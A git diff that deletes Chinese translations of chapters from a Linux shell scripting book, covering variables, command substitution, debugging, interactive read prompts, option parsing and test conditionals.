如果你试图打印出来,什么也不会显示出来; 这是因为变量的作用域仅局限于创建它的过程。 - -要使用`name`变量,可以使用`export`命令导出它。 - -所以,我们的代码是这样的: - -```sh -# The first script -#!/bin/bash -name="Mokhtar" -export name # The variable will be accessible to other processes -./script2.sh -``` - -现在,如果运行第一个脚本,它将打印来自第一个脚本文件的名称。 - -请记住,第二个进程(即`script2.sh`)只对变量进行复制,而不会触及原始的变量。 - -为了证明这一点,尝试从第二个脚本中更改该变量,并尝试从第一个脚本中访问该变量值: - -```sh -# The first script -#!/bin/bash -name="Mokhtar" -export name -./script2.sh -echo $name -``` - -第二个脚本是这样的: - -```sh -# The first script -#!/bin/bash -name="Another name" -echo $name -``` - -如果运行第一个脚本,它将从第二个脚本中打印修改后的`name`,然后从第一个脚本中打印原始的`name`。 所以,原来的变量保持不变。 - -# 命令替换 - -到目前为止,我们已经了解了如何声明变量。 正如我们所见,这些变量可以保存整数、字符串、数组或浮点数,但这并不是全部。 - -命令替换意味着将命令执行的输出存储在一个变量中。 - -您可能知道,`pwd`命令打印当前工作目录。 因此,我们将看到如何在变量中存储它的值。 - -执行命令替换有两种方法: - -* 使用反勾字符(`'`) -* 使用美元符号格式,像这样: - -使用第一种方法,我们只需将命令括在两个反引号之间: - -```sh -#!/bin/bash -cur_dir='pwd' -echo $cur_dir -``` - -第二种方法是这样写的 - -```sh -#!/bin/bash -cur_dir=$(pwd) -echo $cur_dir -``` - -可以进一步处理来自命令的输出,并根据该输出执行操作。 - -# 调试脚本 - -像我们目前看到的这样简单的脚本,几乎不会出现错误或需要调试。 随着脚本的增长和决策路径包含在条件语句中,我们可能需要使用某种程度的调试来更好地分析脚本的进展。 - -Bash 为我们提供了两个选项,`-v`和`-x`。 - -如果我们想要查看脚本的详细输出以及逐行计算脚本的方式的详细信息,我们可以使用`-v`选项。 这可以在 shebang 中执行,但直接使用 bash 运行脚本通常更容易: - -```sh -$ bash -v $HOME/bin/hello2.sh fred -``` - -这在本例中特别有用,因为我们可以看到嵌入式`basename`命令的每个元素是如何处理的。 第一步是删除引号,然后是括号。 看看下面的输出: - -![](img/9e6b913f-2cd8-49b5-af54-4b287f65b0d9.png) - -更常用的选项是`-x`,它在执行命令时显示命令。 了解脚本选择的决策分支是很有用的。 下面的例子说明了这一点: - -```sh -$ bash -x $HOME/bin/hello2.sh fred -``` - -我们再次看到,`basename`首先被求值,但是我们没有看到运行该命令所涉及的更详细的步骤。 下面的屏幕截图捕捉命令和输出: - -![](img/cc5c60c6-5587-46d7-ad8f-c3a513ad0e11.png) - -前面的方法对于初学者或者有编程背景的人来说可能很难,因为他们在编程中可以直观地调试代码。 - -另一种调试 shell 脚本的现代方法是使用 Visual Studio Code。 - -有一个名为**bash 调试**的插件,它使您能够可视化地调试 bash 脚本,就像任何其他编程语言一样。 - -您可以插入、跳过、添加手表,以及执行您所知道的所有其他常见的调试工作。 - -安装插件后,从文件菜单中,打开你的`shell-scripts`文件夹。 然后可以通过按*Ctrl*+*Shift*+*P*配置调试过程,并输入以下命令: - -```sh -Debug:open launch.json -``` - -这将打开一个空文件; 键入以下配置: - -```sh -{ - "version": "0.2.0", - "configurations": [ - - { - "name": "Packt Bash-Debug", - "type": "bashdb", - "request": "launch", - "scriptPath": "${command:SelectScriptName}", - "commandLineArguments": "", - "linux": { - "bashPath": "bash" - }, - "osx": { - "bashPath": "bash" - } - } - ] -} -``` - -这将创建一个名为`Packt Bash-Debug`的调试配置: - -![](img/f43d6a8d-4e19-41fa-a3a7-269e73f4c5f8.png) - -现在插入一个断点并按*F5*,或者从“调试”菜单中开始调试; 它会显示你的列表`.sh`文件: - -![](img/31f4f7c8-67f5-4b5e-87a9-9597df9a1566.png) - -选择你想要调试的,并在任意一行设置一个断点来测试它,如下图所示: - -![](img/bbe3ea88-c551-4597-ac6d-21de73704fa0.png) - -你可以在代码行中添加监视来监视变量的值: - -![](img/ea379cba-8879-47ba-9a8c-223e1473ddee.png) - -Note that your script **MUST** start with the bash shebang, `#!/bin/bash`. - -现在您可以享受可视化的调试方法了。 编码快乐! - -# 总结 - -这标志着本章的结束,毫无疑问,你会发现这是有用的。 特别是对于那些开始使用 bash 脚本的人,本章将为您建立一个坚实的基础,您可以在此基础上构建您的知识。 - -我们首先确保 bash 是安全的,不会受到嵌入式函数的冲击。 在确保 bash 安全的情况下,我们考虑了执行层次结构,其中在命令之前检查别名、函数等; 了解这一点可以帮助我们规划一个好的命名结构和定位脚本的路径。 - -然后我们继续说明 Linux shell 的类型,并了解了 bash 脚本是什么。 - -很快,我们开始编写带有静态内容的简单脚本,但是我们发现使用参数添加灵活性是多么容易。 可以使用`$?`变量读取脚本中的退出代码,我们可以使用`||`和`&&`创建一个命令行列表,这取决于列表中前一个命令的成功或失败。 - -然后我们了解了如何声明变量和如何使用环境变量。 我们确定了变量的作用域,并了解了如何将它们导出到另一个进程。 - -此外,我们还了解了如何将命令的输出存储在变量中,这被称为命令替换。 - -最后,我们通过使用 bash 选项和 VS Code 调试脚本来结束本章。 当脚本很简单时,它并不真正需要,但是当稍后添加复杂性时,它将非常有用。 - -在下一章中,我们将创建在脚本执行期间读取用户输入的交互式脚本。 - -# 问题 - -1. 下面的代码有什么问题? 我们该如何解决这个问题? - -```sh -#!/bin/bash -var1 ="Welcome to bash scripting ..." -echo $var1 -``` - -2. 下面代码的结果是什么? - -```sh -#!/bin/bash -arr1=(Saturday Sunday Monday Tuesday Wednesday) -echo ${arr1[3]} -``` - -3. 下面的代码有什么问题? 我们该如何解决这个问题? - -```sh -#!/bin/bash -files = 'ls -la' -echo $files -``` - -4. 以下代码中 b 和 c 变量的值是多少? - -```sh -#!/bin/bash -a=15 -b=20 -c=a -b=c -``` - -# 进一步的阅读 - -请参阅以下有关本章的资料: - -* [http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO-5.html](http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO-5.html) -* [http://tldp.org/LDP/abs/html/varassignment.html](http://tldp.org/LDP/abs/html/varassignment.html) -* [http://tldp.org/LDP/abs/html/declareref.html](http://tldp.org/LDP/abs/html/declareref.html) \ No newline at end of file diff --git a/docs/master-linux-shell-script/02.md b/docs/master-linux-shell-script/02.md deleted file mode 100644 index 5b0f0fc0..00000000 --- a/docs/master-linux-shell-script/02.md +++ /dev/null @@ -1,534 +0,0 @@ -# 二、创建交互式脚本 - -在[第一章](01.html)、*Bash 脚本的内容和原因*中,我们学习了如何创建脚本并使用其一些基本元素。 这些参数包括可选参数,我们可以在脚本执行时传递给它。 在本章中,我们将通过使用 shell 内置的`read`命令来扩展它,允许使用交互式脚本。 交互式脚本是在脚本执行期间提示信息的脚本。 - -在本章中,我们将涵盖以下主题: - -* 与选项一起使用`echo` -* 基本脚本使用`read` -* 脚本的评论 -* 使用`read`提示增强阅读脚本 -* 限制输入字符的数量 -* 控制输入文本的可见性 -* 通过选择 -* 读取选项的值 -* 努力成为标准 -* 用简单的脚本加强学习 - -# 技术要求 - -本章的源代码可以从这里下载: - -[https://github.com/PacktPublishing/Mastering-Linux-Shell-Scripting-Second-Edition/tree/master/Chapter02](https://github.com/PacktPublishing/Mastering-Linux-Shell-Scripting-Second-Edition/tree/master/Chapter02) - -# 使用带有选项的 echo - -到目前为止,在本书中,我们已经看到了`echo`命令非常有用,并且将在我们的许多脚本中使用(如果不是全部的话)。 在运行`echo`命令时,将使用内置命令,除非我们声明文件的完整路径。 我们可以用下面的命令来测试: - -```sh -$ which echo -``` - -为了获得内置命令的帮助,我们可以使用 man bash 并搜索`echo`; 但是,`echo`命令与内部命令相同,所以我们建议在大多数情况下使用 man echo 来显示命令选项。 - -到目前为止,我们看到的`echo`的基本用法将产生一个文本输出和一个新行。 这通常是期望的响应,所以我们不需要担心下一个提示将附加到回显文本的末尾。 新行将脚本输出与下一个 shell 提示符分隔开。 如果不提供任何要打印的文本字符串,`echo`将只打印到`STDOUT`的新行。 我们可以直接从命令行使用下面的命令进行测试。 我们不需要运行`echo`,实际上,也不需要运行脚本中的任何其他命令。 要从命令行运行`echo`,只需输入如下所示的命令: - -```sh -$ echo -``` - -输出将在我们发出的命令和随后的提示符之间显示一个清晰的新行。 我们可以在下面的截图中看到这一点: - -![](img/efb1c784-4e60-46cd-81ad-bbd50cace4c3.png) - -如果我们想抑制新行,这在提示用户时特别有用,我们可以通过以下两种方式来实现,借助`echo`: - -```sh -$ echo -n "Which directory do you want to use? " -$ echo -e "Which directory do you want to use? \c" -``` - -其结果将是抑制换行。 在最初的示例中,选项`-n`用于抑制换行。 第二个示例使用更通用的`-e`选项,该选项允许将转义序列添加到文本字符串中。 要继续在同一行上,我们使用`\c`作为转义序列。 - -作为脚本的最后一部分,或者从命令行运行时,这看起来不太好,因为命令提示符将紧随其后。 下面的截图说明了这一点: - -![](img/da374c15-d11a-42ff-bc0c-f4c957d812a6.png) - -# 使用 read 的基本脚本 - -当用作提示用户输入的脚本的一部分时,抑制换行正是我们想要的。 我们首先将现有的`hello2.sh`脚本复制到`hello3.sh`并构建一个交互式脚本。 最初,我们将使用`echo`作为提示机制,但是,随着我们逐渐增强脚本,我们将直接从 shell 内置的`read`命令中生成提示: - -```sh -$ cp $HOME/bin/hello2.sh $HOME/bin/hello3.sh -$ chmod +x $HOME/bin/hello3.sh -``` - -编辑`$HOME/bin/hello3.sh`脚本,使其如下所示: - -```sh -#!/bin/bash -echo -n "Hello $(basename $0)! May I ask your name: " -read -echo "Hello $REPLY" -exit 0 -``` - -当我们执行脚本时,将会看到输入的任何内容。 这在 echo 语句中使用`$REPLY`变量进行回显。 由于我们还没有为 read 内置命令提供变量名,所以使用默认的`$REPLY`变量。 脚本执行和输出如下截图所示。 花些时间在您自己的系统上练习这个脚本。 - -![](img/1f745d37-3805-4fc8-ba30-a6672c7a4e87.png) - -这一小步让我们走了很长一段路,像这样的脚本有很多用途; 在运行安装过程中,我们都使用了提示选项和目录的安装脚本。 我们承认它仍然是相当琐碎的,但是,随着我们深入研究本章,我们将更接近一些更有用的脚本。 - -# 脚本的评论 - -我们应该在文章的开头引入注释脚本。 脚本注释以`#`符号开头。 #符号之后的任何内容都是注释,脚本不会对其进行计算。 shebang`#!/bin/bash`主要是一个注释,因此不由 shell 计算。 运行脚本的 shell 读取整个程序,因此它知道将脚本交给哪个命令解释器。 注释可以在行首,也可以在行中。 Shell 脚本没有多行注释的概念。 - -如果您还不熟悉注释,那么请注意它们被添加到脚本中,以描述谁编写了脚本、何时编写和最后更新脚本以及脚本的功能。 它们是脚本的元数据。 - -下面是脚本中注释的示例: - -```sh -#!/bin/bash -# Welcome to bash scripting -# Author: Mokhtar -# Date: 1/5/2018 -``` - -注释和添加注释来解释代码在做什么以及为什么这样做是一个很好的做法。 这将帮助您和稍后需要编辑脚本的同事。 - -# 使用阅读提示增强脚本 - -我们已经了解了如何使用内置读取来填充变量。 到目前为止,我们使用 echo 来产生提示符,但是可以使用`-p`选项将其传递给读取本身。 `read`命令将超过额外的换行,因此我们在一定程度上减少了行数和复杂性。 - -我们可以在命令行本身进行测试。 尝试输入以下命令查看`read`的工作情况: - -```sh -$ read -p "Enter your name: " name -``` - -我们使用`read`命令和`-p`选项。 选项后面的参数是提示符中出现的文本。 通常,我们会确保在文本的末尾有一个空格,以确保我们可以清楚地看到我们输入的内容。 这里提供的最后一个参数是我们想要填充的变量; 我们简单地叫它名字。 变量也是区分大小写的。 即使我们不提供最后一个参数,我们仍然可以存储用户的响应,但这一次是在`REPLY`变量中。 - -When we return the value of a variable, we use `$`, but not when we write it. In simple terms, when reading a variable we refer to `$VAR` and when setting a variable we refer to `VAR=value`. - -使用`-p`选项的`read`命令如下所示: - -```sh -read -p -``` - -我们可以编辑脚本,使其看起来类似于以下摘录`hello3.sh`: - -```sh -#!/bin/bash -read -p "May I ask your name: " name -echo "Hello $name" -exit 0 -``` - -提示符不能计算消息字符串中的命令,例如我们之前使用的那些。 - -# 限制输入字符的数量 - -到目前为止,我们在使用的脚本中不需要这个功能,但是我们可能需要让用户按任意键来继续。 目前,我们已经将其设置为在按*Enter*键之前不会填充变量。 用户必须按*回车*才能继续。 如果我们使用`-n`选项后跟一个整数,我们可以指定在继续之前接受的字符数; 我们将在本例中设置`1`。 看看下面的代码摘录: - -```sh -#!/bin/bash -read -p "May I ask your name: " name -echo "Hello $name" -read -n1 -p "Press any key to exit" -echo -exit 0 -``` - -现在脚本将在显示名称后暂停,直到我们按下任何键; 我们可以在继续之前按任何键,因为我们只接受一次击键,而之前我们被要求保留默认行为,因为我们不知道输入的名称有多长。 我们必须等待用户点击*进入*。 - -We add an additional echo here to ensure that a new line is issued before the script ends. This ensures that the shell prompt starts on a new line. - -# 控制输入文本的可见性 - -即使我们将输入限制为单个字符,我们仍然可以在屏幕上看到文本。 同样,如果我们输入名称,我们将在点击*Enter*之前看到所输入的文本。 在这种情况下,它只是不整洁,但如果我们正在输入敏感数据,如 PIN 或密码,我们应该隐藏文本。 我们可以使用静默选项`-s`来实现这一点。 在脚本中进行一个简单的编辑就可以将其设置到位: - -```sh -#!/bin/bash -read -p "May I ask your name: " name -echo "Hello $name" -read -sn1 -p "Press any key to exit" -echo -exit 0 -``` - -现在,当我们使用一个键来继续时,它将不会显示在屏幕上。 我们可以在下面的截图中看到脚本的行为: - -![](img/8a3a1c4d-d287-4f35-9209-34a0d28f59fc.png) - -# 通过选择 - -到目前为止,我们已经在第一章中看到了如何从用户那里读取参数。 此外,您还可以传递选项。 那么,有哪些选择呢? 它们与参数有何不同? - -选项是前面有一个破折号的字符。 - -看看这个例子: - -```sh -$ ./script1.sh -a -``` - -`-a`是一个选择。 你可以在你的脚本中检查用户是否输入了这个选项; 如果是这样,那么您的脚本可以以某种方式运行。 - -你可以传递多个选项: - -```sh -$ ./script1.sh -a -b -c -``` - -要打印这些选项,可以使用`$1`、`$2`和`$3`变量: - -```sh -#!/bin/bash -echo $1 -echo $2 -echo $3 -``` - -![](img/00112873-5c8f-48e9-bbe6-da929c24c9ec.png) - -我们应该检查这些选项,但是,由于我们还没有讨论条件语句,所以我们暂时保持简单。 - -选项可以传递一个值,像这样: - -```sh -$ ./script1.sh -a -b 20 -c -``` - -这里传递的`-b`选项的值为`20`。 - -![](img/f49ffb2c-345c-4111-a6bf-7299bae26f75.png) - -可以看到,变量`$3=20`是传递的值。 - -这对你来说可能无法接受。 你需要`$2=-b`和`$3=-c`。 - -我们将使用一些条件语句使这些选项正确。 - -```sh -#!/bin/bash -while [ -n "$1" ] -do -case "$1" in --a) echo "-a option used" ;; --b) echo "-b option used" ;; --c) echo "-c option used" ;; -*) echo "Option $1 not an option" ;; -esac -shift -done -``` - -如果你不知道 while 循环,这不是问题; 我们将在接下来的章节中详细讨论条件语句。 - -`shift`命令将选项向左移动一步。 - -因此,如果我们有三个选项或参数,并使用`shift`命令: - -* `$3`变成`$2` -* `$2`变成`$1` -* `$1`被删除 - -这就像一个在使用 while 循环遍历选项时向前移动的操作。 - -因此,在第一个循环中,`$1`将是第一个选项。 移动选项后,`$1`将是第二个选项,以此类推。 - -如果您尝试前面的代码,您将注意到它仍然不能正确地识别选项的值。 别担心,解决办法就在眼前; 再等一会儿。 - -# 带选项传递参数 - -要同时传递参数和选项,你必须用双破折号分隔它们,像这样: - -```sh -$ ./script1.sh -a -b -c -- p1 p2 p3 -``` - -使用前面的技术,我们可以遍历选项,直到到达双破折号,然后遍历参数: - -```sh -#!/bin/bash -while [ -n "$1" ] -do -case "$1" in --a) echo "-a option found" ;; --b) echo "-b option found";; --c) echo "-c option found" ;; ---) shift -break ;; -*) echo "Option $1 not an option";; -esac -shift -done -#iteration over options is finished here. -#iteration over parameters started. -num=1 -for param in $@ -do -echo "#$num: $param" -num=$(( $num + 1 )) -done -``` - -现在,如果我们结合参数和选项运行它,我们应该看到一个选项列表和另一个参数列表: - -```sh -$ ./script1.sh -a -b -c -- p1 p2 p3 -``` - -![](img/bc37cb87-8604-4816-8a01-d35bbfcbe25f.png) - -如您所见,在双破折号之后传递的任何内容都被视为参数。 - -# 读取选项的值 - -我们已经了解了如何识别选项和参数,但是我们仍然需要一种正确读取选项值的方法。 - -您可能需要为特定选项传递一个值。 如何读取这个值? - -当迭代遍历期望值的选项时,我们将检查`$2`变量。 - -检查以下代码: - -```sh -#!/bin/bash -while [ -n "$1" ] -do -case "$1" in --a) echo "-a option passed";; --b) param="$2" -echo "-b option passed, with value $param" -shift ;; --c) echo "-c option passed";; ---) shift -break ;; -*) echo "Option $1 not an option";; -esac -shift -done -num=1 -for param in "$@" -do -echo "#$num: $param" -num=$(( $num + 1 )) -done -``` - -![](img/f03655e1-78fb-4bc8-99f1-ee6f69db10f8.png) - -现在看起来不错; 您的脚本标识了选项和第二个选项的传入值。 - -有一个内置选项用于从用户那里获取选项,该选项使用了`getopt`函数。 - -不幸的是,`getopt`不支持多个字符的选项。 - -有一个名为`getopt`的非内置程序,它支持大于一个字符的选项,但是,同样,macOS X 版本不支持长选项。 - -无论如何,如果你想了解更多关于`getopt`的用法,请参考本章之后提供的进一步阅读资料。 - -# 努力成为标准 - -您可以使用 GitHub 中的 bash 脚本,并且您可能注意到后面有一个标准的选项方案。 这不是必须的,但它更可取。 - -以下是一些常用的选项: - -* :列出所有项目 -* `-c`:获得所有项目的计数 -* `-d`:输出目录 -* `-e`:展开物品 -* `-f`:指定文件 -* `-h`:显示帮助页面 -* `-i`:忽略字符大小写 -* `-l`:列出课文 -* `-o`:发送输出到文件 -* `-q`:沉默; 不要问用户 -* `-r`:递归处理 -* `-s`:使用隐身模式 -* `-v`:使用详细模式 -* `-x`:指定可执行文件 -* :不用提示我就接受 - -# 用简单的脚本加强学习 - -我们的脚本仍然有点小,我们还没有研究条件语句,所以我们可以测试是否正确输入,但是让我们看看一些简单的脚本,我们可以用一些功能来构建它们。 - -# 倒车和脚本 - -现在我们已经创建了一些脚本,我们可能需要将它们备份到不同的位置。 如果我们创建一个脚本来提示我们,我们可以选择要备份的文件的位置和类型。 - -请考虑以下脚本作为您的第一个练习。 创建脚本并将其命名为`$HOME/backup.sh`: - -```sh -#!/bin/bash -# Author: @theurbanpenguin -# Web: www.theurbapenguin.com -# Script to prompt to back up files and location -# The files will be search on from the user's home -# directory and can only be backed up to a directory -# within $HOME -# Last Edited: July 4 2015 -read -p "Which file types do you want to backup " file_suffix -read -p "Which directory do you want to backup to " dir_name -# The next lines creates the directory if it does not exist -test -d $HOME/$dir_name || mkdir -m 700 $HOME/$dir_name -# The find command will copy files the match the -# search criteria ie .sh . The -path, -prune and -o -# options are to exclude the backdirectory from the -# backup. -find $HOME -path $HOME/$dir_name -prune -o \ --name "*$file_suffix" -exec cp {} $HOME/$dir_name/ \; -exit 0 -``` - -你会看到文件被注释了; 虽然,在黑白,可读性有点困难。 如果你有这本书的电子版,你应该会看到以下截图中的颜色: - -![](img/eae4e9df-999d-4a0a-b469-d3de9048748d.png) - -当脚本运行时,您可以为要备份的文件选择`.sh`,并将其备份为目录。 下面的截图显示了脚本的执行,以及目录的列表: - -![](img/3c16ef07-c383-425a-8264-3c39feca6afe.png) - -现在您可以看到,我们可以开始使用简单的脚本来创建有意义的脚本; 尽管我们强烈建议,如果这个脚本不是用于个人使用,那么应该添加用户输入的错误检查。 在本书中,我们将讨论这个问题。 - -# 连接到服务器 - -让我们看看一些可以用来连接到服务器的实用脚本。 首先,我们将研究 ping,在第二个脚本中,我们将研究 SSH 凭据的提示。 - -# 版本 1 - ping - -这是我们都可以做的事情,因为不需要特别的服务。 这将为控制台用户简化`ping`命令,因为他们可能不知道该命令的详细信息。 这将只 ping 服务器三个计数,而不是正常的无限数量。 如果服务器处于活动状态,则没有输出,但失败的服务器报告`sever dead`。 创建以下脚本`$HOME/bin/ping_server.sh`: - -```sh -#!/bin/bash -# Author: @theurbanpenguin -# Web: www.theurbapenguin.com -# Script to ping a server -# Last Edited: July 4 2015 -read -p "Which server should be pinged " server_addr -ping -c3 $server_addr 2>1 > /dev/null || echo "Server Dead" -``` - -下面的截图显示了成功和失败的输出: - -![](img/6c3d2840-0f52-4c10-8c79-d168635d5c25.png) - -# 版本 2 - SSH - -通常 SSH 是在服务器上安装并运行的,所以如果您的系统正在运行 SSH 或者您可以访问 SSH 服务器,那么您可以运行此脚本。 在这个脚本中,我们提示输入服务器地址和用户名,并将它们传递给 SSH 客户机。 创建以下脚本为`$HOME/bin/connect_server.sh`: - -```sh -#!/bin/bash -# Author: @theurbanpenguin -# Web: www.theurbapenguin.com -# Script to prompt fossh connection -# Last Edited: July 4 2015 -read -p "Which server do you want to connect to: " server_name -read -p "Which username do you want to use: " user_name -ssh ${user_name}@$server_name -``` - -Use of the brace bracket is to delimit the variable from the `@` symbol in the last line of the script. - -# 3 版本 MySQL/MariaDB - -在下一个脚本中,我们将提供数据库连接的详细信息以及要执行的 SQL 查询。 如果您的系统上有 MariaDB 或 MySQL 数据库服务器,或者您可以连接到某个数据库服务器,那么您将能够运行此功能。 在这个演示中,我们将使用 Linux Mint 18.3 和 MariaDB 版本 10; 然而,这应该适用于任何 MySQL 服务器或 MariaDB,从版本 5 起。 该脚本收集用户和密码信息以及要执行的 SQL 命令。 创建以下脚本为`$HOME/bin/run_mysql.sh`: - -```sh -#!/bin/bash -# Author: @theurbanpenguin -# Web: www.theurbapenguin.com -# Script to prompt for MYSQL user password and command -# Last Edited: July 4 2015 -read -p "MySQL User: " user_name -read -sp "MySQL Password: " mysql_pwd -echo -read -p "MySQL Command: " mysql_cmd -read -p "MySQL Database: " mysql_db -mysql -u"$user_name" -p$mysql_pwd $mysql_db -Be"$mysql_cmd" -``` - -在这个脚本中,我们可以看到,当我们使用`-s`选项将 MySQL 密码输入`read`命令时,我们禁止显示 MySQL 密码。 同样,我们直接使用`echo`来确保下一个提示符在新行上开始。 - -脚本输入如下截图所示: - -![](img/356f2b3d-3ee9-43f8-a629-81b7c1c4e83a.png) - -现在,我们可以很容易地看到密码抑制的工作原理,以及向 MySQL 命令添加密码的便利性。 - -# 阅读文件 - -`read`命令不仅用于读取用户的输入; 您可以使用`read`命令读取文件以进行进一步处理。 - -```sh -#!/bin/bash -while read line -do -echo $line -done < yourfile.txt -``` - -我们将文件内容重定向到`while`命令,使用`read`命令逐行读取内容。 - -最后,我们使用`echo`命令打印该行。 - -# 总结 - -感到自豪的是,您现在有了您的*,我可以阅读*的外壳脚本徽章。 我们将脚本开发为交互式的,并在脚本执行期间提示用户输入。 这些提示可以用来简化用户在命令行上的操作。 这样,它们就不需要记住命令行选项,也不需要拥有最终存储在命令行历史中的密码。 在使用密码时,我们可以使用 read`-sp`选项简单地存储值。 - -此外,我们还了解了如何传递带值和不带值的选项,以及如何正确识别值。 多亏了双破折号,我们看到了如何同时传递选项和参数。 - -在下一章中,我们将花时间研究 bash 中的条件语句。 - -# 问题 - -1. 下面的代码中有多少条注释? - -```sh -#!/bin/bash -# Welcome to shell scripting -# Author: Mokhtar -``` - -2. 如果我们有以下代码: - -```sh -#!/bin/bash -echo $1 -echo $2 -echo $3 -``` - -我们用以下选项运行脚本: - -```sh -$ ./script1.sh -a -b50 -c -``` - -运行这段代码的结果是什么? - -3. 检查以下代码: - -```sh -#!/bin/bash -shift -echo $# -``` - -如果我们使用以下选项运行它: - -```sh -$ ./script1.sh Mokhtar -n -a 35 -p -``` - -# 进一步的阅读 - -请参阅以下有关本章的资料: - -* [http://tldp.org/LDP/Bash-Beginners-Guide/html/sect_08_02.html](http://tldp.org/LDP/Bash-Beginners-Guide/html/sect_08_02.html) -* [https://ss64.com/bash/read.html](https://ss64.com/bash/read.html) -* [http://www.manpagez.com/man/1/getopt/](http://www.manpagez.com/man/1/getopt/) -* [https://ss64.com/bash/getopts.html](https://ss64.com/bash/getopts.html) \ No newline at end of file diff --git a/docs/master-linux-shell-script/03.md b/docs/master-linux-shell-script/03.md deleted file mode 100644 index f1bf3935..00000000 --- a/docs/master-linux-shell-script/03.md +++ /dev/null @@ -1,750 +0,0 @@ -# 三、条件 - -现在可以使用`read`命令使脚本更具交互性,并且知道如何读取参数和选项来减轻输入。 - -我们可以说,我们现在进入了脚本的细则。 这些是使用条件写入脚本的细节,以测试语句是否应该运行。 现在我们已经准备好向我们的脚本中添加一些智能,以便我们的脚本变得更健壮、更容易使用和更可靠。 条件语句可以使用包含`AND`或`OR`命令的简单命令行列表一起编写,或者更常见的是使用传统的`if`语句。 - -在本章中,我们将涵盖以下主题: - -* 使用命令行列表的简单决策路径 -* 用列表验证用户输入 -* 使用内置的测试 shell -* 使用`if`创建条件语句 -* 用`else`扩展`if` -* 使用`test`命令和`if`命令 -* 有`elif`更多条件 -* 使用情况报表 -* 菜谱前端与`grep` - -# 技术要求 - -本章的源代码可以从这里下载: - -[https://github.com/PacktPublishing/Mastering-Linux-Shell-Scripting-Second-Edition/tree/master/Chapter03](https://github.com/PacktPublishing/Mastering-Linux-Shell-Scripting-Second-Edition/tree/master/Chapter03) - -# 使用命令行列表的简单决策路径 - -我们使用命令行名单`||`和`&&`,在[第一章](01.html),*与 Bash 脚本的什么和为什么*,和在一些脚本中找到[第二章](02.html)、【显示】创建交互脚本。 列表是我们可以创建的最简单的条件语句之一,因此我们认为在这里全面解释它们之前,最好在前面的示例中使用它们。 - -命令行列表是使用`AND`或`OR`表示法连接的两个或多个语句: - -* `&&`:`AND` -* `||`:`OR` - -在使用`AND`符号连接这两个语句的地方,只有当第一个命令成功时,第二个命令才运行。 然而,使用`OR`表示法,只有在第一个命令失败时,第二个命令才会运行。 - -通过从应用中读取退出代码来决定命令的成功或失败。 零代表成功的应用完成,除了零以外的任何东西都代表失败。 我们可以通过系统变量`$?`读取退出状态来测试应用的成功或失败。 如下面的例子所示: - -```sh -$ echo $? -``` - -如果我们需要确保脚本从用户的主目录运行,我们可以将其构建到脚本的逻辑中。 这可以从命令行进行测试,而不必在脚本中进行测试。 考虑以下命令行示例: - -```sh -$ test $PWD == $HOME || cd $HOME -``` - -两个竖条表示一个`OR`布尔值。 这确保了只有在第一条语句不正确时才执行第二条语句。 简单地说,如果我们当前不在主目录中,我们将在命令行列表的末尾。 我们很快就会看到更多关于`test`命令的内容。 - -我们可以将它构建到几乎任何我们想要的命令中,而不仅仅是测试。 例如,我们可以查询用户是否已登录到系统,如果已登录,则可以使用`write`命令直接向其控制台发送消息。 与前面类似,我们可以在将其添加到脚本之前在命令行中对其进行测试。 这在下面的命令行示例中显示: - -```sh -$ who | grep pi > /dev/null 2>&1 && write pi < message.txt -``` - -注意,您应该将用户`pi`更改为您的用户名。 - -如果我们在脚本中使用它,几乎可以肯定我们将用一个变量替换用户名。 一般来说,如果我们需要多次引用同一个值,那么使用变量是一个好主意。 在本例中,我们正在搜索`pi`用户。 - -在分解命令行列表时,我们首先使用`who`命令列出登录的用户。 我们将列表管道到`grep`以搜索所需的用户名。 我们对搜索的结果不感兴趣,只对它的成功或失败感兴趣。 记住这一点,我们将所有输出重定向到`/dev/null`。 双&表示只有在第一个语句返回 true 时,列表中的第二个语句才会运行。 如果`pi`用户已登录,则使用`write`向该用户发送消息。 下面的屏幕截图演示了这个命令和输出: - -![](img/0889d658-e55d-450c-8eb6-d2a47ddcaa43.png) - -# 用列表验证用户输入 - -在这个脚本中,我们将确保为第一个位置参数提供了一个值。 我们可以修改我们在[第一章](01.html),*Bash*中创建的`hello2.sh`脚本,在显示`hello`文本之前检查用户输入。 - -您可以将`hello2.sh`脚本复制到`hello4.sh`,或者简单地从头创建一个新脚本。 不会有很多输入,脚本将被创建为`$HOME/bin/hello4.sh`,如下所示: - -![](img/77473c24-d9fd-4e35-a31c-6cf514493b5e.png) - -我们可以使用以下命令来确保脚本是可执行的: - -```sh -$ chmod +x $HOME/bin/hello4.sh -``` - -然后我们可以运行带或不带参数的脚本。 `test`语句正在寻找`$1`变量为零字节。 如果是,那么我们将看不到`hello`语句; 否则,将打印`hello`消息。 简单地说,如果我们提供一个名称,我们将看到`hello`消息。 - -下面的屏幕截图显示了当您没有为脚本提供参数时,您将看到的输出,后面跟着所提供的参数: - -![](img/e94c738c-682b-47ca-8375-ac40a123dd45.png) - -# 使用内置的测试 shell - -现在可能是时候把车停在脚本高速公路的一边,对命令`test`进行更多的研究了。 这既是一个内置的 shell,也是一个文件可执行文件。 当然,除非我们指定了文件的完整路径,否则我们必须先点击内置命令。 - -当运行`test`命令而不计算任何表达式时,测试将返回 false。 因此,如果我们运行如下命令所示的`test`,则退出状态将为`1`,即使没有显示错误输出: - -```sh -$ test -``` - -`test`命令将始终分别返回`True`或`False`或`0`或`1`。 `test`的基本语法如下: - -```sh -test EXPRESSION -``` - -或者,我们可以倒转`test`命令: - -```sh -test ! EXPRESSION -``` - -如果需要包含多个表达式,可以同时使用`AND`或`OR`,分别使用`-a`和`-o`选项: - -```sh -test EXPRESSION -a EXPRESSION -test EXPRESSION -o EXPRESSION -``` - -我们也可以将其写成简写形式,将`test`替换为方括号括住表达式,如下例所示: - -```sh -[ EXPRESSION ] -``` - -# 测试字符串 - -我们可以测试两个字符串是否相等。 例如,测试根用户的一种方法是使用以下命令: - -```sh -test $USER = root -``` - -我们也可以用方括号表示: - -```sh -[ $USER = root ] -``` - -注意,必须在每个方括号和内部测试条件之间放一个空格,如前面所示。 - -同样,我们可以用以下两种方法测试非 root 帐户: - -```sh -test ! $USER = root -[ ! $USER = root ] -``` - -我们还可以测试字符串的零值或非零值。 我们在本章前面的例子中看到了这一点。 - -要测试字符串是否有值,可以使用`-n`选项。 通过检查用户环境中是否存在变量,我们可以检查当前连接是否通过 SSH 建立。 我们在下面两个例子中使用了`test`和方括号: - -```sh -test -n $SSH_TTY -[ -n $SSH_TTY ] -``` - -如果这是真的,那么连接是通过 SSH 建立的; 如果为 false,则不是通过 SSH 连接。 - 